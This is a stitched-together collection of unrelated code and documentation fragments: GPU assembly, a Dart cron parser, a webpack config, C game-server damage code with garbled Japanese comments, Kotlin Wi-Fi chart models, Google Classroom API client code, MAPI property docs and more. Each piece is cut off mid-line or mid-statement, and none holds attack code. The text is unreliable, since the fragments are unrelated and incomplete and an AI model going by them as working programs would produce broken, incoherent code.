    my $k_end = $vec ? 16 : 24;
    our @top = ("--:-:-:-:1      ISETP.GE.AND P2, PT, k, $k_end, P4;\n");

    our %insert =
    (
        j0c1  => "--:-:-:-:1      ISETP.GE.AND P3, PT, k, $k_end, P5;\n",
        j0c3  => "--:


?.where((x) => x >= 0 && x <= 7)
        .map((x) => x == 0 ? 7 : x)
        .toSet()
        .toList();
    return _Schedule._(
        parsedMinutes, parsedHours, parsedDays, parsedMonths, parsedWeekdays);
  }
}

List<int>? _parseConstraint(dynamic constraint) {
  if (constraint == null) return null;
  if (constraint is int) return [constraint];
  if (constraint is List<int>) return constraint;
  if (constraint is String) {
    if (constraint == '*') return null;
    final parts = constraint.split(',');
    if (parts.length > 1) {
      final items =
          parts.map(_parseConstraint).expand((list) => list!).toSet().toList();
      items.sort();
      return items;
    }

    int? singleValue = int.tryParse(constraint);
    if (singleValue != null) return [singleValue];

    if (constraint.startsWith('*/')) {
      int period = int.tryParse(constraint.substring(2)) ?? -1;
      if (period > 0) {
        return List.generate(120 ~/ period, (i) => i * period);
      }
    }

    if (constraint.contains('-')) {
      List<String> ranges = constraint.split('-');
      if (ranges.length == 2) {
        int lower = int.tryParse(ranges.first) ?? -1;
        int higher = int.tryParse(ranges.last) ?? -1;
        if (lower <= higher) {
          return List.generate(higher - lower + 1, (i) => i + lower);
        }
      }
    }
  }
  throw 'Unable to parse: $constraint';
}

class _CronIterator implements CronIterator<tz.TZDateTime> {
  final _Schedule _schedule;
  tz.TZDateTime _currentDate;
  bool _nextCalled = false;
  bool _previousCalled = false;

  _CronIterator(this._schedule, this._currentDate) {
    _currentDate = tz.TZDateTime.fromMillisecondsSinceEpoch(
        _currentDate.location,
        _currentDate.millisecondsSinceEpoch ~/ 60000 * 60000);
  }

  @override
  tz.TZDateTime next() {
    _nextCalled = true;
    _currentDate = _currentDate.add(const Duration(minutes: 1));
    while (true) {
      if (_schedule.months?.contains(_currentDate.month) == false) {
        _currentDate = tz.TZDateTime(_currentDate.location, _currentDate.year,
            _currentDate.month + 1, 1);
        continue;
      }
      if (_schedule.weekdays?.contains(_currentDate.weekday) == false) {
        _currentDate = tz.TZDateTime(_currentDate.location, _currentDate.year,
            _currentDate.month, _currentDate.day + 1);
        continue;
      }
      if (_schedule.days?.contains(_currentDate.day) == false) {
        _currentDate = tz.TZDateTime(_currentDate.location, _currentDate.year,
            _currentDate.month, _currentDate.day + 1);
        continue;
      }
      if (_schedule.hours?.contains(_currentDate.hour) == false) {
        _currentDate = _currentDate.add(const Duration(hours: 1));
        _currentDate =
            _currentDate.subtract(Duration(minutes: _currentDate.minute));
        continue;
      }
      if (_schedule.minutes?.contains(_currentDate.minute) == false) {
        _currentDate = _currentDate.add(const Duration(minutes: 1));
        continue;
      }
      return _currentDate;
    }
  }

  @override
  tz.TZDateTime previous() {
    _previousCalled = true;
    _currentDate = _currentDate.subtract(const Duration(minutes: 1));
    while (true) {
      if (_schedule.minutes?.contains(_currentDate.minute) == false) {
        _currentDate = _currentD


 CSS changes), or refresh the page (in case of JS changes). When you
    // make a syntax error, this client will display a syntax error overlay.
    // Note: instead of the default WebpackDevServer client, we use a custom one
    // to bring better experience for Create React App users. You can replace
    // the line below with these two lines if you prefer the stock client:
    // require.resolve('webpack-dev-server/client') + '?/',
    // require.resolve('webpack/hot/dev-server'),
    require.resolve('react-dev-utils/webpackHotDevClient'),
    // Finally, this is your app's code:
    paths.appIndexJs,
    // We include the app code last so that if there is a runtime error during
    // initialization, it doesn't blow up the WebpackDevServer client, and
    // changing JS code would still trigger a refresh.
  ],
  output: {
    // Add /* filename */ comments to generated require()s in the output.
    pathinfo: true,
    // This does not produce a real file. It's just the virtual path that is
    // served by WebpackDevServer in development. This is the JS bundle
    // containing code from all our entry points, and the Webpack runtime.
    filename: 'static/js/bundle.js',
    // There are also additional JS chunk files if you use code splitting.
    chunkFilename: 'static/js/[name].chunk.js',
    // This is the URL that app is served from. We use "/" in development.
    publicPath: publicPath,
    // Point sourcemap entries to original disk location (format as URL on Windows)
    devtoolModuleFilenameTemplate: info =>
      path.resolve(info.absoluteResourcePath).replace(/\\/g, '/'),
  },
  resolve: {
    // This allows you to set a fallback for where Webpack should look for modules.
    // We placed these paths second because we want `node_modules` to "win"
    // if there are any conflicts. This matches Node resolution mechanism.
    // https://github.com/facebookincubator/create-react-app/issues/253
    modules: ['node_modules', paths.appNodeModules].concat(
      // It is guaranteed to exist because we tweak it in `env.js`
      process.env.NODE_PATH.split(path.delimiter).filter(Boolean)
    ),
    // These are the reasonable defaults supported by the Node ecosystem.
    // We also include JSX as a common component filename extension to support
    // some tools, although we do not recommend using it, see:
    // https://github.com/facebookincubator/create-react-app/issues/290
    // `web` extension prefixes have been added for better support
    // for React Native Web.
    extensions: ['.web.js', '.mjs', '.js', '.json', '.web.jsx', '.jsx'],
    alias: {
      // @remove-on-eject-begin
      // Resolve Babel runtime relative to react-scripts.
      // It usually still works on npm 3 without this but it would be
      // unfortunate to rely on, as react-scripts could be symlinked,
      // and thus babel-runtime might not be resolvable from the source.
      'babel-runtime': path.dirname(
        require.resolve('babel-runtime/package.json')
      ),
      // @remove-on-eject-end
      // Support React Native Web
      // https://www.smashingmagazine.com/2016/08/a-glimpse-into-the-future-with-react-native-for-web/
      'react-native': 'react-native-web',
    },
    plugins: [
      // Prevents users from importing files from outside of src/ (or node_modules/).
      // This often causes confusion because we only process files within src/ with babel.
      // To fix this, we prevent you from importing files out of src/ -- if you'd like to,
      // please link the files into your node_modules/ and let module-resolution kick in.
      // Make sure your source files are compiled, as they will not be processed in any way.
      new ModuleScopePlugin(paths.appSrc, [paths.appPackageJson]),
    ],
  },
  module: {
    strictExportPresence: true,
    rules: [
      // TODO: Disable require.ensure as it's not a standard languag


s[s_move_slice_k_stride_gemm_k], v[v_wei_os]
    v_cmp_gt_u32 s[s_c], v[v_gtc_ic]
    v_cndmask_b32 v[v_tmp], 0, 1
    v_and_b32 v[v_in_flag], v[v_in_flag], v[v_tmp]
    v_and_b32 v[v_in_flag+1], v[v_in_flag+1], v[v_tmp]
    v_and_b32 v[v_in_flag+2], v[v_in_flag+2], v[v_tmp]
    v_and_b32 v[v_in_flag+3], v[v_in_flag+3], v[v_tmp]

    s_waitcnt lgkmcnt(0)
    s_barrier
    ; load weight
    buffer_load_dwordx2 v[v_gld_a+0:v_gld_a+0+1], v[v_wei_os], s[s_p_wei:s_p_wei+3], 0 offen offset:0
    buffer_load_dwordx2 v[v_gld_a+2:v_gld_a+2+1], v[v_wei_os], s[s_p_wei:s_p_wei+3], s[s_wei_stride_k] offen offset:0
    buffer_load_dwordx2 v[v_gld_a+4:v_gld_a+4+1], v[v_wei_os], s[s_p_wei:s_p_wei+3], s[s_wei_offset+0] offen offset:0
    buffer_load_dwordx2 v[v_gld_a+6:v_gld_a+6+1], v[v_wei_os], s[s_p_wei:s_p_wei+3], s[s_wei_offset+1] offen offset:0
    buffer_load_dwordx2 v[v_gld_a+8:v_gld_a+8+1], v[v_wei_os], s[s_p_wei:s_p_wei+3], s[s_wei_offset+2] offen offset:0
    buffer_load_dwordx2 v[v_gld_a+10:v_gld_a+10+1], v[v_wei_os], s[s_p_wei:s_p_wei+3], s[s_wei_offset+3] offen offset:0
    buffer_load_dwordx2 v[v_gld_a+12:v_gld_a+12+1], v[v_wei_os], s[s_p_wei:s_p_wei+3], s[s_wei_offset+4] offen offset:0
    ; load input, nxe:0
    .v_clear_nc v_gld_b, 8
    v_cmpx_le_u32 1, v[v_in_flag]
    buffer_load_dwordx2 v[v_gld_b:v_gld_b+1], v[v_in_os], s[s_p_in:s_p_in+3], s[s_in_offset] offen offset:0
    s_mov_b64 exec, -1
    v_cmpx_le_u32 1, v[v_in_flag+1]
    buffer_load_dwordx2 v[v_gld_b+2:v_gld_b+2+1], v[v_in_os+1], s[s_p_in:s_p_in+3], s[s_in_offset] offen offset:0
    s_mov_b64 exec, -1
    v_cmpx_le_u32 1, v[v_in_flag+2]
    buffer_load_dwordx2 v[v_gld_b+4:v_gld_b+


-like
    if (!Array.isArray(words)) words = [vmStr]; // if not list-like, make array

    // Remove the words, one by one:
    words.forEach((vmWord: VmData): void => {
      let word = vmWord.unpack();
      if(typeof(word) === 'string') {
        // Remove object from all entries
        this.value.forEach((entry: DictionaryEntry) => {
          if(entry.compare(word, propID)) {
            entry.removeObject(vmObj);
          }
        });
      }
    });

    // Remove any empty entries:
    this.value = this.value.filter((entry: DictionaryEntry) => !entry.isEmpty());

    return null;
  }

  /**
   * Searches the dictionary for the given string and determines if it's associated
   * with any objects.
   * @param vmStr String to look for
   * @returns true or nil
   */
  isWordDefined(vmStr: VmData): VmData {
    let str = vmStr.unpack();
    return !!this.value.find((entry: DictionaryEntry) => entry.compare(str)) ? new VmTrue() : new VmNil();
  }

  /**
   * Set the comparator object.
   * @param compObj Comparator object
   */
  setComparator(compObj: VmObject): VmData {
    throw 'NOT IMPLEMENTED';
    return null;
  }

  /**
   * Invokes the callback function on each word association in the dictionary.
   * @param vmFunc Callback function (obj, string, prop)
   */
  forEachWord(vmFunc: VmData): VmData {
    this.value.forEach((entry:DictionaryEntry) => {
      entry.objects.forEach((obj) => {
        vmFunc.invoke(obj, new VmObject(new MetaString(entry.str)), new VmProp(entry.propID));
      });
    });
    return null;
  }

  /**
   * Returns a list of words in the dictionary that are
   * possible spelling corrections for the given string.
   * @param vmStr string
   * @param vmMaxEditDistance max Levenshtein distance
   * @returns List of lists, with each item [word, dist, repl],
   * where dist = Levenshtein distance, and repl
   * should be replacements (but it currently also Levenshtein
   * distance).
   */
  correctSpelling(vmStr: VmData, vmMaxEditDistance: VmInt): VmObject {
    let str = vmStr.unpack();
    let maxDist = vmMaxEditDistance.unpack();

    // Get all words in dictionary (removing duplicates):
    let words = [...new Set(this.value.map((entry: DictionaryEntry) => entry.str))];

    // Calculate distances:
    let distances = words.map((word: string) => {
      let dist = levenshtein(word, str);
      return [word, dist, dist];
    })

    // Remove words with distance > maxdist
    .filter((d) => d[1] <= maxDist)

    // Turn all distances into List objects
    .map((d) => new VmObject(new List(d)));

    return new VmObject(new List(distances));
  }
}

MetaclassRegistry.register('dictionary2/030001', Dictionary);

export { Dictionary }import { Body, Injectable, NotFoundException } from '@nestjs/common';
import { InjectRepository } from '@nestjs/typeorm';
import { Repository } from 'typeorm';
import { CreateCriteriaDto } from './dto/create-criteria.dto';
import { UpdateCriterionDto } from './dto/update-criteria.dto';
import { Criteria } from './entities/criteria.entity';

@Injectable()
export class CriteriaService {

  constructor(
    @InjectRepository(Criteria)
    private criterionRepository: Repository<Criteria>,
  ) {}

  async create(createCriteriaDto: CreateCriteriaDto): Promise<Criteria>  {
    const criteria =  this.criterionRepository.create(


(skill_num != CR_GRANDCROSS||skill_num !=NPC_DARKGRANDCROSS) && (damage > 0 || damage2 > 0) ) {
		if(damage2<1)		// _[WŏIC
			damage=battle_calc_damage(src,target,damage,div_,skill_num,skill_lv,flag);
		else if(damage<1)	// E肪~XH
			damage2=battle_calc_damage(src,target,damage2,div_,skill_num,skill_lv,flag);
		else {	//  /J^[̏ꍇ͂ƌvZ₱
			int d1=damage+damage2,d2=damage2;
			damage=battle_calc_damage(src,target,damage+damage2,div_,skill_num,skill_lv,flag);
			damage2=(d2*100/d1)*damage/100;
			if(damage > 1 && damage2 < 1) damage2=1;
			damage-=damage2;
		}
	}
	if (skill_num == ASC_BREAKER)
		damage += damage3;

	wd.damage=damage;
	wd.damage2=damage2;
	wd.type=type;
	wd.div_=div_;
	wd.amotion=status_get_amotion(src);
	if(skill_num == KN_AUTOCOUNTER)
		wd.amotion >>= 1;
	wd.dmotion=status_get_dmotion(target);
	wd.blewcount=blewcount;
	wd.flag=flag;
	wd.dmg_lv=dmg_lv;

	return wd;
}

/*==========================================
 * _[WvZ
 *------------------------------------------
 */
struct Damage battle_calc_weapon_attack(
	struct block_list *src,struct block_list *target,int skill_num,int skill_lv,int wflag)
{
	static struct Damage wd = { 0, 0, 0, 0, 0, 0, 0, 0, 0 };

	//returnȌ̂ŏô͕ݕύX
	if( src == NULL || target == NULL ){
		nullpo_info(NLP_MARK);
		memset(&wd,0,sizeof(wd));
		return wd;
	}

	if(target->type == BL_PET)
		memset(&wd,0,sizeof(wd));
	else if(src->type == BL_PC)
		wd = battle_calc_pc_weapon_attack(src,target,skill_num,skill_lv,wflag);
	else if(src->type == BL_MOB)
		wd = battle_calc_mob_weapon_attack(src,target,skill_num,skill_lv,wflag);
	else if(src->type == BL_PET)
		wd = battle_calc_pet_weapon_attack(src,target,skill_num,skill_lv,wflag);
	else
		memset(&wd,0,sizeof(wd));

	return wd;
}

/*==========================================
 * @_[WvZ
 *------------------------------------------
 */
struct Damage battle_calc_magic_attack(
	struct block_list *bl,struct block_list *target,int skill_num,int skill_lv,int flag)
{
	int mdef1=status_get_mdef(target);
	int mdef2=status_get_mdef2(target);
	int matk1,matk2,damage=0,div_=1,blewcount=skill_get_blewcount(skill_num,skill_lv);
	struct Damage md;
	int aflag;
	int normalmagic_flag=1;
	int ele=0,race=7,t_ele=0,t_race=7,t_mode = 0,cardfix,t_class,i;
	struct map_session_data *sd=NULL,*tsd=NULL;
	struct mob_data *tmd = NULL;
	struct status_change *sc_data;

	//returnȌ̂ŏô͕ݕύX
	if( bl == NULL || target == NULL ){
		nullpo_info(NLP_MARK);
		memset(&md,0,sizeof(md));
		return md;
	}

	if(target->type == BL_PET) {
		memset(&md,0,sizeof(md));
		return md;
	}

	matk1=status_get_matk1(bl);
	matk2=status_get_matk2(bl);
	ele = skill_get_pl(skill_num);
	race = status_get_race(bl);
	t_ele = status_get_elem_type(target);
	t_race = status_get_race(target);
	t_mode = status_get_mode(target);

#define MATK_FIX( a,b ) { matk1=matk1*(a)/(b); matk2=matk2*(a)/(b); }

	if( bl->type==BL_PC && (sd=(struct map_session_data *)bl) ){
		sd->state.attack_type = BF_MAGIC;
		if(sd->matk_rate != 100)
			MATK_FIX(sd->matk_rate,100);
		sd->state.arrow_atk = 0;
	}
	if( target->type==BL_PC )
		tsd=(struct map_session_data *)target;
	else if( target->type==BL_MOB )
		tmd=(struct mob_data *)target;

	aflag=BF_MAGIC|BF_LONG|BF_SKILL;

	// @͑ɂMATK
	sc_data = status_get_sc_data(bl);
	if (sc_data && sc_data[SC_MAGICPOWER].timer != -1) {
		matk1 += (matk1 * sc_data[SC_MAGICPOWER].val1 * 5)/100;
		matk2 += (matk2 * sc_data[SC_MAGICPOWER].val1 * 5)/100;
	}

	if(skill_num > 0){
		switch(skill_num){	// {_[WvZ(XLƂɏ)
					// q[or
		case AL_HEAL:
		case PR_BENEDICTIO:
			damage = skill_calc_heal(bl,skill_lv)/2;
			normalmagic_flag=0;
			break;
		case PR_ASPERSIO:		/* AXyVI */
			damage = 40; //Œ_[W
			normalmagic_flag=0;
			break;
		case PR_SANCTUARY:	// TN`A
			damage = (skill_lv>6)?388:skill_lv*50;
			normalmagic_flag=0;
			blewcount|=0x10000;
			break;
		case ALL_RESURRECTION:
		case PR_TURNUNDEAD:	// UUNVƃ^[Afbh
			if(target->type != BL_PC && battle_check_undead(t_race,t_ele)){
				int hp, mhp, thres;
				hp = status_get_hp(target);
				mhp = status_get_max_hp(target);
				thres = (skill_lv * 20) + status_get_luk(bl)+
						status_get_int(bl) + status_get_lv(bl)+
						((200 - hp * 200 / mhp));
				if(thres > 700) thres = 700;
//				if(battle_config.battle_log)
//					printf("^[AfbhI m%d (番)\n", thres);
				if(rand()%1000 < thres && !(t_mode&0x20))	//
					damage = hp;
				else					// s
					damage = status_get_lv(bl) + status_get_int(bl) + skill_lv * 10;
			}
			normalmagic_flag=0;
			break;

		case MG_N


         series(
                        CHANNELS_6_GHZ_CHART_VIEW,
                        List(CHANNELS_6_GHZ_CHART_VIEW.size) { WIFI_CHART_MIN }
                    )
                }
            }
        }
    }
}package com.craxiom.networksurvey.ui.wifi.model

import androidx.lifecycle.viewModelScope
import com.craxiom.networksurvey.fragments.WifiNetworkInfo
import com.craxiom.networksurvey.util.WifiUtils
import com.patrykandpatrick.vico.core.cartesian.data.lineSeries
import kotlinx.coroutines.launch

/**
 * The specific Wi-Fi spectrum view model implementation for the 5 GHz Group 2 chart.
 */
class WifiSpectrum5Group2ViewModel : AWifiSpectrumChartViewModel() {
    override fun filterWifiNetworks(wifiNetworkInfoList: List<WifiNetworkInfo>): List<WifiNetworkInfo> {
        return wifiNetworkInfoList.filter {
            it.frequency < WifiUtils.START_OF_6_GHZ_RANGE && it.channel.toFloat() in CHANNELS_5_GHZ_GROUP_2
        }
    }

    override fun createSeriesData(wifiNetworkInfoList: List<WifiNetworkInfo>): List<Pair<List<Number>, List<Number>>> {
        return if (wifiNetworkInfoList.isEmpty()) {
            listOf(
                CHANNELS_5_GHZ_GROUP_2_CHART_VIEW to List(CHANNELS_5_GHZ_GROUP_2_CHART_VIEW.size) { WIFI_CHART_MIN }
            )
        } else {
            createSeriesForNetworks(wifiNetworkInfoList)
        }
    }

    override fun clearChart() {
        viewModelScope.launch {
            modelProducer.runTransaction {
                lineSeries {
                    series(
                        CHANNELS_5_GHZ_GROUP_2_CHART_VIEW,
                        List(CHANNELS_5_GHZ_GROUP_2_CHART_VIEW.size) { WIFI_CHART_MIN }
                    )
                }
            }
        }
    }
}package com.craxiom.networksurvey.ui.activesurvey.model

import androidx.compose.ui.graphics.Color
import com.craxiom.networksurvey.model.SurveyTypes
import org.maplibre.android.geometry.LatLng

/**
 * Represents the current status of a survey type
 */
data class SurveyStatus(
    val type: SurveyTypes,
    val isActive: Boolean,
    val recordCount: Long = 0,
    val errorMessage: String? = null,
    val protocols: Set<String> = emptySet(),
    val fileInfo: FileLoggingInfo? = null,
    val mqttInfo: MqttStreamingInfo? = null,
    val uploadInfo: UploadQueueInfo? = null
)

/**
 * Information about file logging status
 */
data class FileLoggingInfo(
    val csvEnabled: Boolean,
    val csvFileSize: Long = 0,
    val csvRecordCount: Long = 0,
    val geoPackageEnabled: Boolean,
    val geoPackageFileSize: Long = 0,
    val geoPackageRecordCount: Long = 0,
    val activeProtocols: Set<String> = emptySet()
)

/**
 * Information about MQTT streaming status
 */
data class MqttStreamingInfo(
    val connectionState: MqttConnectionState,
    val brokerAddress: String? = null,
    val messagesSent: Long = 0,
    val lastMessageTime: Long? = null,
    val activeProtocols: Set<String> = emptySet(),
    val errorMessage: String? = null
)

/**
 * MQTT connection states
 */
enum class MqttConnectionState {
    DISCONNECTED,
    CONNECTING,
    CONNECTED,
    ERROR
}

/**
 * Information about upload queue status
 */
data class UploadQueueInfo(
    val openCellidPending: Long = 0,
    val openCellidUploaded: Long = 0,


using System.ComponentModel.DataAnnotations;

namespace Domain.Models
{
    public class Informations
    {

        [Key]
        public int Id { get; set; }
        public string? FirstName { get; set; }
        public string? LastName { get; set; }
        public string? PhoneNumber { get; set; }
        public strin


String id, {
    core.String? $fields,
  }) async {
    final body_ = convert.json.encode(request);
    final queryParams_ = <core.String, core.List<core.String>>{
      if ($fields != null) 'fields': [$fields],
    };

    final url_ =
        'v1/courses/' +
        commons.escapeVariable('$courseId') +
        '/courseWork/' +
        commons.escapeVariable('$courseWorkId') +
        '/studentSubmissions/' +
        commons.escapeVariable('$id') +
        ':reclaim';

    final response_ = await _requester.request(
      url_,
      'POST',
      body: body_,
      queryParams: queryParams_,
    );
    return Empty.fromJson(response_ as core.Map<core.String, core.dynamic>);
  }

  /// Returns a student submission.
  ///
  /// Returning a student submission transfers ownership of attached Drive files
  /// to the student and may also update the submission state. Unlike the
  /// Classroom application, returning a student submission does not set
  /// assignedGrade to the draftGrade value. Only a teacher of the course that
  /// contains the requested student submission may call this method. This
  /// request must be made by the Developer Console project of the
  /// [OAuth client ID](https://support.google.com/cloud/answer/6158849) used to
  /// create the corresponding course work item. This method returns the
  /// following error codes: * `PERMISSION_DENIED` if the requesting user is not
  /// permitted to access the requested course or course work, return the
  /// requested student submission, or for access errors. * `INVALID_ARGUMENT`
  /// if the request is malformed. * `NOT_FOUND` if the requested course, course
  /// work, or student submission does not exist.
  ///
  /// [request] - The metadata request object.
  ///
  /// Request parameters:
  ///
  /// [courseId] - Identifier of the course. This identifier can be either the
  /// Classroom-assigned identifier or an alias.
  ///
  /// [courseWorkId] - Identifier of the course work.
  ///
  /// [id] - Identifier of the student submission.
  ///
  /// [$fields] - Selector specifying which fields to include in a partial
  /// response.
  ///
  /// Completes with a [Empty].
  ///
  /// Completes with a [commons.ApiRequestError] if the API endpoint returned an
  /// error.
  ///
  /// If the used [http.Client] completes with an error when making a REST call,
  /// this method will complete with the same error.
  async.Future<Empty> return_(
    ReturnStudentSubmissionRequest request,
    core.String courseId,
    core.String courseWorkId,
    core.String id, {
    core.String? $fields,
  }) async {
    final body_ = convert.json.encode(request);
    final queryParams_ = <core.String, core.List<core.String>>{
      if ($fields != null) 'fields': [$fields],
    };

    final url_ =
        'v1/courses/' +
        commons.escapeVariable('$courseId') +
        '/courseWork/' +
        commons.escapeVariable('$courseWorkId') +
        '/studentSubmissions/' +
        commons.escapeVariable('$id') +
        ':return';

    final response_ = await _requester.request(
      url_,
      'POST',
      body: body_,
      queryParams: queryParams_,
    );
    return Empty.fromJson(response_ as core.Map<core.String, core.dynamic>);
  }

  /// Turns in a student submission.
  ///
  /// Turning in a student submission transfers ownership of attached Drive
  /// files to the teacher and may also update the submission state. This may
  /// only be called by the student that owns the specified student submission.
  /// This request must be made by the Developer Console project of the
  /// [OAuth client ID](https://support.google.com/cloud/answer/6158849) us


are not required to do so.

- Each session with a transport provider is associated by MAPI with a discrete section in the user's profile. The transport provider can use the [IMAPISupport::OpenProfileSection](imapisupport-openprofilesection.md) method to gain access to this section, which can be used to store any information associated with this session, including credentials.

- With multiple installed transport providers, it is not necessarily true that the user only has a single email address. A user can have a separate email address for each installed transport provider or can have a different address for each session on a single provider.

For more information about storing credentials in profile sections, see [Message Services and Profiles](message-services-and-profiles.md) and [IProfSect : IMAPIProp](iprofsectimapiprop.md).

---
title: "PidTagOriginalSenderAddressType Canonical Property"

manager: lindalu
ms.date: 03/09/2015
ms.audience: Developer
ms.topic: reference
ms.service: office-online-server
ms.localizationpriority: medium
api_name:
- MAPI.PidTagOriginalSenderAddressType
api_type:
- COM
ms.assetid: bd777f19-cbb1-4497-8a0b-e05b491c6957
description: "Contains the address type of the sender of the first version of a message, that is, the message before being forwarded or replied to."
---

# PidTagOriginalSenderAddressType Canonical Property

**Applies to**: Outlook 2013 | Outlook 2016

Contains the address type of the sender of the first version of a message, that is, the message before being forwarded or replied to.

|Property |Value |
|:-----|:-----|
|Associated properties:
 |PR_ORIGINAL_SENDER_ADDRTYPE, PR_ORIGINAL_SENDER_ADDRTYPE_A, PR_ORIGINAL_SENDER_ADDRTYPE_W
 |
|Identifier:
 |0x0066
 |
|Data type:
 |PT_STRING8, PT_UNICODE
 |
|Area:
 |General messaging
 |

## Remarks

These properties are examples of the address properties for the original sender of a message. At first submission of the message, the client application should set these properties to the value of **PR_SENDER_ADDRTYPE** ([PidTagSenderAddressType](pidtagsenderaddresstype-canonical-property.md)). It is never changed when the message is forwarded or replied to.

## Related resources

### Protocol specifications

[[MS-OXPROPS]](https://msdn.microsoft.com/library/f6ab1613-aefe-447d-a49c-18217230b148%28Office.15%29.aspx)

> Provides references to related Exchange Server protocol specifications.

[[MS-OXOMSG]](https://msdn.microsoft.com/library/daa9120f-f325-4afb-a738-28f91049ab3c%28Office.15%29.aspx)

> Specifies the properties and operations that are permissible on email message objects.

### Header files

Mapidefs.h

> Provides data type definitions.

Mapitags.h

> Contains definitions of properties listed as alternate names.

## See also

[MAPI Properties](mapi-properties.md)

[MAPI Canonical Properties](mapi-canonical-properties.md)

[Mapping Canonical Property Names to MAPI Names](mapping-canonical-property-names-to-mapi-names.md)

[Mapping MAPI Names to Canonical Property Names](mapping-mapi-names-to-canonical-property-names.md)

---
title: "Forwarding a message"
description: This article provides a detailed overview of forwarding messages.
manager: lindalu
ms.date: 03/09/2015
ms.audience: Developer
ms.localizationpriority: medium
api_type:
- COM
ms.assetid: 0027fd5a-f30a-4025-b670-c21869b3a480
---

# Forwarding a messag


/* Copyright (C) 2012 Thomas Gahr <thomas.gahr@physik.uni-muenchen.de>
   Copyright (C) 2006 - 2016 Jan Kundrát <jkt@kde.org>

   This file is part of the Trojita Qt IMAP e-mail client,
   http://trojita.flaska.net/

   This program is free software; you can redistribute it and/or
   modify it under the terms of the GNU General Public License as
   published by the Free Software Foundation; either version 2 of
   the License or (at your option) version 3 or any later version
   accepted by the membership of KDE e.V. (or its successor approved
   by the membership of KDE e.V.), which shall act as a proxy
   defined in Section 14 of version 3 of the license.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/

#ifndef GUI_MAILBOXTREEVIEW_H
#define GUI_MAILBOXTREEVIEW_H

#include <QSettings>
#include <QTreeView>

namespace Imap {
namespace Mailbox {
class MailboxFinder;
}
}

namespace Gui {

/** @short Show mailboxes in a tree view */
class MailBoxTreeView : public QTreeView
{
    Q_OBJECT
public:
    explicit MailBoxTreeView(QWidget *parent, QSettings *settings);
    void setDesiredExpansion(const QStringList &mailboxNames);
    void setModel(QAbstractItemModel *model) override;
signals:
    /** @short User has changed their mind about the expanded/collapsed state of the mailbox tree

    Stuff which gets reported here might refer to mailboxes which do not even exist. At the same time,
    the code will not forget about those mailboxes which "aren't there yet".
    */
    void mailboxExpansionChanged(const QStringList &mailboxNames);
protected:
    void dragMoveEvent(QDragMoveEvent *event) override;
    void dropEvent(QDropEvent *event) override;
    void dragEnterEvent(QDragEnterEvent *event) override;
    void resetWatchedMailboxes();
    Qt::DropAction defaultDropAction();
private:
    Imap::Mailbox::MailboxFinder *m_mailboxFinder;
    QSet<QString> m_desiredExpansionState;
    QSettings *m_settings;
};
}

#endif // GUI_MAILBOXTREEVIEW_H


ayer has swapped from.
        /// </summary>
        public byte FromSeatIndex { get; }

        /// <summary>
        /// Gets the seat the player has swapped to.
        /// </summary>
        public byte ToSeatIndex { get; set; }

        public UnturnedPlayerSwappedSeatEvent(UnturnedPlayer player, UnturnedVehicle vehicle, byte fromSeatIndex, byte toSeatIndex) : base(player)
        {
            Vehicle = vehicle;
            FromSeatIndex = fromSeatIndex;
            ToSeatIndex = toSeatIndex;
        }
    }
}


from graphene_django import DjangoObjectType

from board.models import (
    Comment, Config, Form, Notify, Tag,
    Post, PostContent, PostConfig, Profile,
    Report, Search, Series, User)

class CommentType(DjangoObjectType):
    class Meta:
        model = Comment

class UserConfigType(DjangoObjectType):
    class Meta:
        model = Config

class FormType(DjangoObjectType):
    class Meta:
        model = Form

class NotifyType(DjangoObjectType):
    class Meta:
        model = Notify

class TagType(DjangoObjectType):
    class Meta:
        model = Tag

class PostType(DjangoObjectType):
    class Meta:
        model = Post

class PostContentType(DjangoObjectType):
    class Meta:
        model = PostContent

class PostConfigType(DjangoObjectType):
    class Meta:
        model = PostConfig

class ProfileType(DjangoObjectType):
    class Meta:
        model = Profile

class ReportType(DjangoObjectType):
    class Meta:
        model = Report

class SearchType(DjangoObjectType):
    class Meta:
        model = Search

class SeriesType(DjangoObjectType):
    class Meta:
        model = Series

class UserType(DjangoObjectType):
    class Meta:
        model = User


Retransmission(
    MessageRetransmissionsCompanion(
      contactId: Value(userId),
      messageId: Value(messageId),
      plaintextContent: Value(Uint8List(0)),
      pushData: Value(pushData),
    ),
  );

  if (retransId == null) {
    Log.error('Could not insert the message into the retransmission database');
    return;
  }

  msg.retransId = retransId;

  final plaintextContent =
      Uint8List.fromList(gzip.encode(utf8.encode(jsonEncode(msg.toJson()))));

  await twonlyDB.messageRetransmissionDao.updateRetransmission(
      retransId,
      MessageRetransmissionsCompanion(
          plaintextContent: Value(plaintextContent)));

  // this can now be done in the background...
  unawaited(sendRetransmitMessage(retransId));
}

Future<void> sendTextMessage(
  int target,
  TextMessageContent content,
  PushNotification? pushNotification,
) async {
  final messageSendAt = DateTime.now();
  DateTime? openedAt;

  if (pushNotification != null && pushNotification.hasReactionContent()) {
    openedAt = DateTime.now();
  }

  final messageId = await twonlyDB.messagesDao.insertMessage(
    MessagesCompanion(
      contactId: Value(target),
      kind: const Value(MessageKind.textMessage),
      sendAt: Value(messageSendAt),
      responseToOtherMessageId: Value(content.responseToMessageId),
      responseToMessageId: Value(content.responseToOtherMessageId),
      downloadState: const Value(DownloadState.downloaded),
      openedAt: Value(openedAt),
      contentJson: Value(
        jsonEncode(content.toJson()),
      ),
    ),
  );

  if (messageId == null) return;

  if (pushNotification != null && !pushNotification.hasReactionContent()) {
    pushNotification.messageId = Int64(messageId);
  }

  final msg = MessageJson(
    kind: MessageKind.textMessage,
    messageSenderId: messageId,
    content: content,
    timestamp: messageSendAt,
  );

  await encryptAndSendMessageAsync(
    messageId,
    target,
    msg,
    pushNotification: pushNotification,
  );
}

Future<void> notifyContactAboutOpeningMessage(
  int fromUserId,
  List<int> messageOtherIds,
) async {
  var biggestMessageId = messageOtherIds.first;

  for (final messageOtherId in messageOtherIds) {
    if (messageOtherId > biggestMessageId) biggestMessageId = messageOtherId;
    await encryptAndSendMessageAsync(
      null,
      fromUserId,
      MessageJson(
        kind: MessageKind.opened,
        messageReceiverId: messageOtherId,
        content: MessageContent(),
        timestamp: DateTime.now(),
      ),
    );
  }
  await updateLastMessageId(fromUserId, biggestMessageId);
}

Future<void> notifyContactsAboutProfileChange() async {
  final contacts = await twonlyDB.contactsDao.getAllNotBlockedContacts();

  final user = await getUser();
  if (user == null) return;
  if (user.avatarSvg == null) return;

